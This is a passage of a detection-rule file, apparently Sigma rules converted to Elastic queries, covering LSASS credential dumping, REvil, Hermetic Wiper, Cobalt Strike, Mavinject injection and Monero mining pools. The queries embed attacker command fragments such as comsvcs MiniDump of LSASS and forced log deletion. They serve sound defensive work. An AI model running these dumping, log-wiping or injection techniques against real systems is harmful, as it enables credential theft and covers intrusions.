C\\:\\\\WINDOWS\\\\system32\\\\*)) OR (SourceCommandLine:\"C\\:\\\\WINDOWS\\\\system32\\\\wermgr.exe\\ \\-upload\") OR (process.executable.text:*C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\Local\\\\* AND process.executable.text:(*\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR *\\\\software_reporter_tool.exe OR *\\\\DropboxUpdate.exe OR *\\\\MBAMInstallerService.exe OR *\\\\WebEx\\\\WebexHost.exe OR *\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR *\\\\JetBrains\\\\Toolbox\\\\bin\\\\jetbrains\\-toolbox.exe)) OR (process.executable.text:*\\\\xampp\\-control.exe AND winlog.event_data.GrantedAccess:\"0x410\") OR (process.executable.text:*\\\\SteamLibrary\\\\steamapps\\\\* AND winlog.event_data.GrantedAccess:\"0x410\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects process access to LSASS memory with suspicious access flags and from a suspicious folder", "enabled": false, "false_positives": ["Legitimate software accessing LSASS process for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7afd24e2-2d8b-aa0f-0c29-72273ce19e0d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LSASS Access from Program in Suspicious Folder", "query": "((winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:(*10 OR *30 OR *50 OR *70 OR *90 OR *B0 OR *D0 OR *F0 OR *18 OR *38 OR *58 OR *78 OR *98 OR *B8 OR *D8 OR *F8 OR *1A OR *3A OR *5A OR *7A OR *9A OR *BA OR *DA OR *FA OR *0x14C2 OR *FF) AND process.executable.text:(*\\\\Temp\\\\* OR *\\\\Users\\\\Public\\\\* OR *\\\\PerfLogs\\\\* OR *\\\\AppData\\\\* OR *\\\\Temporary*)) AND (NOT ((process.executable.text:C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\Local\\\\* AND process.executable.text:(*\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR *\\\\software_reporter_tool.exe OR *\\\\DropboxUpdate.exe OR *\\\\MBAMInstallerService.exe OR *\\\\WebexMTA.exe OR *\\\\WebEx\\\\WebexHost.exe OR *\\\\JetBrains\\\\Toolbox\\\\bin\\\\jetbrains\\-toolbox.exe) AND winlog.event_data.GrantedAccess:\"0x410\") OR (process.executable.text:C\\:\\\\Windows\\\\Temp\\\\* AND process.executable.text:*.tmp\\\\DropboxUpdate.exe AND winlog.event_data.GrantedAccess:(\"0x410\" OR \"0x1410\")) OR (process.executable.text:C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.executable.text:*.tmp\\\\DropboxUpdate.exe AND winlog.event_data.GrantedAccess:\"0x1410\") OR (process.executable.text:(C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* OR C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\-sc\\\\*) AND process.executable.text:(*\\\\thor64.exe OR *\\\\thor.exe OR *\\\\aurora\\-agent\\-64.exe OR *\\\\aurora\\-agent.exe) AND winlog.event_data.GrantedAccess:(\"0x1fffff\" OR \"0x1010\" OR \"0x101010\")) OR (process.executable.text:C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.executable.text:*\\\\vs_bootstrapper_* AND winlog.event_data.GrantedAccess:\"0x1410\") OR (process.executable.text:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Google\\\\Temp\\\\* AND process.executable.text:*.tmp\\\\GoogleUpdate.exe AND winlog.event_data.GrantedAccess:\"0x410\") OR (process.executable.text:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\*)) OR (process.executable.text:C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\Local\\\\Keybase\\\\keybase.exe AND winlog.event_data.GrantedAccess:\"0x1fffff\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects process access to LSASS memory with suspicious access flags", "enabled": false, "false_positives": ["Legitimate software accessing LSASS process for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7b2d0808-70a5-35a3-3baf-e28c5f678aa2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious GrantedAccess Flags on LSASS Access", "query": "((winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:(*30 OR *50 OR *70 OR *90 OR *B0 OR *D0 OR *F0 OR *18 OR *38 OR *58 OR *78 OR *98 OR *B8 OR *D8 OR *F8 OR *1A OR *3A OR *5A OR *7A OR *9A OR *BA OR *DA OR *FA OR *0x14C2)) AND (NOT ((process.executable:(\"C\\:\\\\WINDOWS\\\\system32\\\\taskmgr.exe\" OR \"C\\:\\\\Program\\ Files\\\\Malwarebytes\\\\Anti\\-Malware\\\\MBAMService.exe\" OR \"C\\:\\\\PROGRAMDATA\\\\MALWAREBYTES\\\\MBAMSERVICE\\\\ctlrupdate\\\\mbupdatr.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\taskhostw.exe\" OR C\\:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR \"C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\MsMpEng.exe\" OR \"C\\:\\\\Windows\\\\SysWOW64\\\\msiexec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\msiexec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\lsass.exe\" OR \"C\\:\\\\WINDOWS\\\\System32\\\\perfmon.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\MRT.exe\" OR \"C\\:\\\\Program\\ Files\\\\Cisco\\\\Cisco\\ AnyConnect\\ Secure\\ Mobility\\ Client\\\\vpnagent.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Cisco\\\\Cisco\\ AnyConnect\\ Secure\\ Mobility\\ Client\\\\vpnagent.exe\")) OR (process.executable:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\* AND process.executable:*\\\\MsMpEng.exe) OR (process.executable:C\\:\\\\ProgramData\\\\VMware\\\\VMware\\ Tools\\\\* AND process.executable:*\\\\vmtoolsd.exe) OR (process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*) AND process.executable:*Antivirus*) OR (process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\MRT.exe\" AND winlog.event_data.GrantedAccess:\"0x1418\") OR (process.executable:\"C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\McAfee\\\\MMSSHost\\\\MMSSHOST.exe\") OR (process.executable:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND process.executable:(*\\\\thor64.exe OR *\\\\thor.exe) AND winlog.event_data.GrantedAccess:\"0x1fffff\") OR (winlog.event_data.CallTrace:*|C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Definition\\ Updates\\\\\\{* AND winlog.event_data.CallTrace:*\\}\\\\mpengine.dll\\+* AND winlog.event_data.GrantedAccess:\"0x1418\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75b83a33-f652-e7eb-375a-b6e0b89b5d10", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "REvil Kaseya Incident Malware Patterns", "query": "(process.command_line:(*C\\:\\\\Windows\\\\cert.exe* OR *del\\ \\/q\\ \\/f\\ c\\:\\\\kworking\\\\agent.crt* OR *Kaseya\\ VSA\\ Agent\\ Hot\\-fix* OR *\\\\AppData\\\\Local\\\\Temp\\\\MsMpEng.exe* OR *rmdir\\ \\/s\\ \\/q\\ %SystemDrive%\\\\inetpub\\\\logs* OR *del\\ \\/s\\ \\/q\\ \\/f\\ %SystemDrive%\\\\*.log* OR *c\\:\\\\kworking1\\\\agent.exe* OR *c\\:\\\\kworking1\\\\agent.crt*) OR process.executable:(\"C\\:\\\\Windows\\\\MsMpEng.exe\" OR \"C\\:\\\\Windows\\\\cert.exe\" OR \"C\\:\\\\kworking\\\\agent.exe\" OR \"C\\:\\\\kworking1\\\\agent.exe\") OR (process.command_line:*del\\ \\/s\\ \\/q\\ \\/f* AND process.command_line:*WebPages\\\\Errors\\\\webErrorLog.txt*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects process connections to a Monero crypto mining pool", "enabled": false, "false_positives": ["Legitimate use of crypto miners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "92cc453a-3c2e-a506-4936-675aa4cab826", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Linux Crypto Mining Pool Connections", "query": "destination.domain:(\"pool.minexmr.com\" OR \"fr.minexmr.com\" OR \"de.minexmr.com\" OR \"sg.minexmr.com\" OR \"ca.minexmr.com\" OR \"us\\-west.minexmr.com\" OR \"pool.supportxmr.com\" OR \"mine.c3pool.com\" OR \"xmr\\-eu1.nanopool.org\" OR \"xmr\\-eu2.nanopool.org\" OR \"xmr\\-us\\-east1.nanopool.org\" OR \"xmr\\-us\\-west1.nanopool.org\" OR \"xmr\\-asia1.nanopool.org\" OR \"xmr\\-jp1.nanopool.org\" OR \"xmr\\-au1.nanopool.org\" OR \"xmr.2miners.com\" OR \"xmr.hashcity.org\" OR \"xmr.f2pool.com\" OR \"xmrpool.eu\" OR \"pool.hashvault.pro\" OR \"moneroocean.stream\" OR \"monerocean.stream\")", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects process connections to a Monero crypto mining pool", "enabled": false, "false_positives": ["Legitimate use of crypto miners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fbbcd221-7e41-8333-f5d4-e2a0906db226", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Crypto Mining Pool Connections", "query": "destination.domain:(\"pool.minexmr.com\" OR \"fr.minexmr.com\" OR \"de.minexmr.com\" OR \"sg.minexmr.com\" OR \"ca.minexmr.com\" OR \"us\\-west.minexmr.com\" OR \"pool.supportxmr.com\" OR \"mine.c3pool.com\" OR \"xmr\\-eu1.nanopool.org\" OR \"xmr\\-eu2.nanopool.org\" OR \"xmr\\-us\\-east1.nanopool.org\" OR \"xmr\\-us\\-west1.nanopool.org\" OR \"xmr\\-asia1.nanopool.org\" OR \"xmr\\-jp1.nanopool.org\" OR \"xmr\\-au1.nanopool.org\" OR \"xmr.2miners.com\" OR \"xmr.hashcity.org\" OR \"xmr.f2pool.com\" OR \"xmrpool.eu\" OR \"pool.hashvault.pro\" OR \"moneroocean.stream\" OR \"monerocean.stream\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1496"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1496", "name": "Resource Hijacking", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bf933ec7-a834-5c5f-02f3-23a10faeec87", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Process Creation Using Sysnative Folder", "query": "process.command_line.text:C\\:\\\\Windows\\\\Sysnative\\\\*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1055"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
{"description": "Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c20b5c7d-4e80-57c1-6dae-f1529bf00e81", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Process Creation with Renamed BrowserCore.exe", "query": "(winlog.event_data.OriginalFileName:\"BrowserCore.exe\" AND (NOT ((process.executable:*\\\\BrowserCore.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1036", "T1528"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
{"description": "Detects process creation with a renamed Msdt.exe", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fa66fe83-b749-a9ba-d7f3-d8b9a5d69fc8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed Msdt.exe", "query": "(winlog.event_data.OriginalFileName:\"msdt.exe\" AND (NOT ((process.executable:*\\\\msdt.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects process discovery commands. Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c4958f2a-c44f-c31f-c541-babf1c40fbeb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Process Discovery", "query": "process.executable:(*\\/ps OR *\\/top)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1057"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1057", "name": "Process Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "oscd.community"], "license": ""}
{"description": "Detects process dump via legitimate sqldumper.exe binary", "enabled": false, "false_positives": ["Legitimate MSSQL Server actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9164063b-e1f4-abea-02fb-f008070e2979", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Dumping Process via Sqldumper.exe", "query": "(process.executable:*\\\\sqldumper.exe AND process.command_line:(*0x0110* OR *0x01100\\:40*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Kirill Kiryanov", "oscd.community"], "license": ""}
{"description": "Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5fc5a65e-1709-ee0a-5ef3-189b462334ef", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hermetic Wiper TG Process Patterns", "query": "(process.executable.text:*\\\\policydefinitions\\\\postgresql.exe OR process.command_line.text:(*CSIDL_SYSTEM_DRIVE\\\\temp\\\\sys.tmp* OR *\\ 1>\\ \\\\\\\\127.0.0.1\\\\ADMIN$\\\\__16*) OR (process.command_line.text:*powershell\\ \\-c\\ * AND process.command_line.text:*\\\\comsvcs.dll\\ MiniDump\\ * AND process.command_line.text:*\\\\winupd.log\\ full*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e8ef3cc9-faa2-5977-32b7-f69d11cfb2cf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Password Dumper Activity on LSASS", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4656\" AND winlog.event_data.ProcessName:*\\\\lsass.exe AND winlog.event_data.AccessMask:\"0x705\" AND winlog.event_data.ObjectType:\"SAM_DOMAIN\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["sigma"], "license": ""}
{"description": "Detects process handle on LSASS process with certain access mask", "enabled": false, "false_positives": ["Legitimate software accessing LSASS process for legitimate reason; update the whitelist with it"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "41264298-0fc3-0551-bcb2-0a5335372b5b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Generic Password Dumper Activity on LSASS", "query": "(winlog.channel:\"Security\" AND (winlog.event_data.ObjectName:*\\\\lsass.exe AND ((winlog.event_id:\"4656\" AND winlog.event_data.AccessMask:(*0x40* OR *0x1400* OR *0x100000* OR *0x1410* OR *0x1010* OR *0x1438* OR *0x143a* OR *0x1418* OR *0x1f0fff* OR *0x1f1fff* OR *0x1f2fff* OR *0x1f3fff*)) OR (winlog.event_id:\"4663\" AND winlog.event_data.AccessList:(*4484* OR *4416*)))) AND (NOT ((winlog.event_data.ProcessName:(*\\\\wmiprvse.exe OR *\\\\taskmgr.exe OR *\\\\procexp64.exe OR *\\\\procexp.exe OR *\\\\lsm.exe OR *\\\\csrss.exe OR *\\\\wininit.exe OR *\\\\vmtoolsd.exe OR *\\\\minionhost.exe OR *\\\\VsTskMgr.exe OR *\\\\thor.exe OR *\\\\thor64.exe OR *\\\\MicrosoftEdgeUpdate.exe OR *\\\\GamingServices.exe OR *\\\\svchost.exe OR *\\\\MsMpEng.exe OR *\\\\MRT.exe OR *RtkAudUService64) AND winlog.event_data.ProcessName:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWow64\\\\* OR C\\:\\\\Windows\\\\SysNative\\\\* OR C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* OR C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\*)) OR (winlog.event_data.ProcessName:C\\:\\\\Program\\ Files*) OR (winlog.event_data.ProcessName:\"C\\:\\\\Windows\\\\CCM\\\\CcmExec.exe\") OR (winlog.event_data.ProcessName:\"C\\:\\\\Windows\\\\System32\\\\taskhostw.exe\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez", "Teymur Kheirkhabarov", "Dimitrios Slamaris", "Mark Russinovich", "Aleksey Potapov", "oscd.community (update)"], "license": ""}
{"description": "Detects process injection using the signed Windows tool \"Mavinject\" via the \"INJECTRUNNING\" flag or a renamed execution of the tool", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0598d542-0fde-15e9-8109-59caac4dff4b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Mavinject Inject DLL Into Running Process", "query": "(process.command_line.text:*\\ \\/INJECTRUNNING\\ * OR (winlog.event_data.OriginalFileName:(\"mavinject32.exe\" OR \"mavinject64.exe\") AND (NOT (process.executable.text:(*\\\\mavinject32.exe OR *\\\\mavinject64.exe)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1055", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Florian Roth"], "license": ""}
{"description": "Detects process injection using the signed Windows tool Mavinject32.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d2b0bd3f-ac9f-5186-3660-0a1f9af1c64f", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "MavInject Process Injection", "query": "process.command_line:*\\ \\/INJECTRUNNING\\ *", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1055", "T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", "enabled": false, "false_positives": ["False positives are present when looking for 0x1410. Exclusions may be required."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "74a772dc-67da-9552-5aea-80960b7ed98d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LSASS Memory Dump", "query": "((winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:(*0x1038* OR *0x1438* OR *0x143a*) AND winlog.event_data.CallTrace:(*dbghelp.dll* OR *dbgcore.dll* OR *ntdll.dll*)) AND (NOT ((winlog.event_data.CallTrace:*|C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND winlog.event_data.CallTrace:*\\\\thor\\\\thor64.exe\\+* AND winlog.event_data.CallTrace:*|UNKNOWN\\(* AND winlog.event_data.GrantedAccess:\"0x103800\") OR (process.executable.text:\"C\\:\\\\Windows\\\\Sysmon64.exe\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden", "Michael Haag"], "license": ""}
{"description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", "enabled": false, "false_positives": ["Actual failures in lsass.exe that trigger a crash dump (unlikely)", "Unknown cases in which WerFault accesses lsass.exe"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0490569c-a1b3-2f49-a4b9-5adf390106a4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WerFault Accassing LSASS", "query": "(process.executable.text:*\\\\WerFault.exe AND winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.GrantedAccess:\"0x1FFFFF\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects process memory dump via comsvcs.dll and rundll32", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "972579d0-dc75-2d91-e0fd-2810644df5b4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Process Dump via Comsvcs DLL", "query": "((process.executable.text:*\\\\rundll32.exe OR winlog.event_data.OriginalFileName:\"RUNDLL32.EXE\") AND (process.command_line.text:*comsvcs* AND process.command_line.text:*MiniDump* AND process.command_line.text:*full*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Defense Evasion", "T1003", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Modexp (idea)"], "license": ""}
{"description": "Detects process patterns found in Cobalt Strike beacon activity (see reference for more details) and also cases in which a China Chopper like webshell is used to run whoami", "enabled": false, "false_positives": ["Other programs that cause these patterns (please report)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ea0b4d74-9082-6fc3-23ba-3ba9a1c68759", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CobaltStrike Process Patterns", "query": "(((process.command_line.text:*\\\\cmd.exe\\ \\/C\\ whoami* AND process.parent.executable.text:C\\:\\\\Temp*) OR (process.command_line.text:(*cmd.exe\\ \\/c\\ echo* OR *>\\ \\\\\\\\.\\\\pipe* OR *\\\\whoami.exe*) AND process.parent.executable.text:*\\\\dllhost.exe) OR (process.executable.text:*\\\\cmd.exe AND process.parent.executable.text:*\\\\runonce.exe AND process.parent.command_line.text:*\\\\runonce.exe)) OR ((process.command_line.text:*conhost.exe\\ 0xffffffff\\ \\-ForceV1* AND process.parent.command_line.text:(*\\/C\\ whoami* OR *cmd.exe\\ \\/C\\ echo* OR *\\ >\\ \\\\\\\\.\\\\pipe*)) AND (NOT (process.parent.command_line.text:(*C\\:\\\\Program\\ Files\\ \$x86\$\\\\Internet\\ Download\\ Manager\\\\IDMMsgHost.exe* OR *chrome\\-extension\\:\\/\\/*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
